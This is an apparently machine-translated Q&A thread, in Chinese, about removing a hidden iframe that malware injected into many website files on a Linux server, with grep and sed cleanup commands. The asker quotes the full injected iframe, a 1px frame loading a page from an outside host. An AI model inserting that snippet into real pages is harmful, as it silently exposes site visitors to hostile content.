2013-05-14 67 views
1

我正在寻找一个脚本来从我的Linux服务器删除以下iframe的恶意软件:寻找脚本删除Linux服务器的iframe恶意软件

<iframe width="1px" height="1px" src="http://ishigo.sytes.net/openstat/appropriate/promise-ourselves.php" style="display:block;" ></iframe> 

它感染的文件的hundreads我的服务器上不同的网站。我试图

grep -rl ishigo.sytes.net * | sed 's/ /\ /g' | xargs sed -i 's/<iframe width="1px" height="1px" src="http://ishigo.sytes.net/openstat/appropriate/promise-ourselves.php" style="display:block;" ></iframe>//g' 

,但它只是输出:

sed: -e expression #1, char 49: unknown option to `s' 

感谢您的帮助:)

干杯 迪

回答

1

UNESCAPE从sed的正则表达式的URL的反斜杠。

0

这应该是一个更通用的解决方案。实际上,恶意软件所做的就是寻找</body>并在此之前注入iframe。所以,你可以找一个iframe这仅仅是</body>前后只用</body>

# grep recursively for text 
# escape all spaces in file names 
# global search and replace with just body tag 
grep -Rl "</iframe></body>" * | sed 's/ /\ /g' | xargs sed -i 's/<iframe .*><\/iframe><\/body>/<\/body>/g' 

我发现这个other question on renaming the malware files也有益于迅速采取了所有受害文件通过用.hacked在重命名扩展替换结束。然后你可以修复破解,并最终删除.hacked